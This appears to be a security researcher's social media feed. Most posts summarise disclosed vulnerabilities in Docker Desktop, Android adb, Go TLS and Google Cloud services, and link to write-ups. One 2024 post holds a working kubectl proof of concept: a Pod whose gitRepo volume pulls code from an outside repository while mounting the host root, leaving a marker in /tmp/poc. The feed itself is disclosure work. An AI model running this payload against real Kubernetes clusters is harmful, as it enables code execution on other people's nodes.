Joined April 2019
Photos and videos
Manually reading thousands of rejected vuln reports is a mind-killer. 🧠💀 ​I used AI to cluster years of Google Cloud VRP data to reveal exactly why reports get bounced. Hunt smarter, not harder. ​Check the insights: bughunters.google.com/learn/… ​#GoogleVRP #BugBounty #AI #Infosec
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8 Jul 2024
Check /tmp/poc @ host: kubectl apply -f - <<Z apiVersion: v1 kind: Pod metadata: name: x spec: {containers: [{image: i,name: c,volumeMounts: [{mountPath: /,name: g}]}],volumes: [{name: g,gitRepo: {repository: github.com/irsl/g.git,revisi…: main,directory: g/.git}}]} Z

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27 Oct 2023
Some fun for the weekend
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7 Sep 2023
Write up about the first batch of findings I reported to the Github bug bounty program: irsl.medium.com/github-bug-b… One flaw in Github Actions and a couple in Github CLI. The next article will be about Github Enterprise Server :)
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23 Jan 2023
Docker silently fixed a privilege escalation flaw in Docker Desktop that allowed any unprivileged containers on Windows to read and modify files on the host machine. Fixed in 4.16.0. #docker #security #windows
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23 Jan 2023
In short: containers could access WSL2 features through VSOCK. As part of the mitigation effort, seccomp policy in recent versions of Docker Desktop was improved to block this address family by default.
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9 Sep 2022
A compromised Android Debug Bridge daemon could: CVE-2022-3168: open network connections to arbitrary destinations on the host CVE-2022-20128: write files on host during adb pull Both fixed in Platform Tools v33.0.3 Google's Firebase Test Lab no longer affected ;) #android
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10 Dec 2021
Researchers, if you publish a zero day like the one in #log4j, please kindly schedule it to Monday.
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5 Nov 2021
Not a real credit card, but looks still awesome;) thanks @GoogleVRP
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15 Jul 2021
Golang's TLS client implementation had been vulnerable to a denial of service flaw since the very beginnings (including 1.0!). The victim golang client apps, when connecting to an attacker controlled TLS server (e.g. https), may crash (panic). github.com/alexzorin/cve-202…
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28 Jun 2021
A yet-unfixed flaw affecting virtual machines hosted in the Compute Engine platform of Google: abusing the DHCP protocol allows taking over hosts (getting a root shell) remotely. github.com/irsl/gcp-dhcp-tak… #Google #GCP

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17 Feb 2021
Technical write-up about how I opened a reverse shell in Google's managed MySQL and Postgres platforms irsl.medium.com/dropping-a-s…
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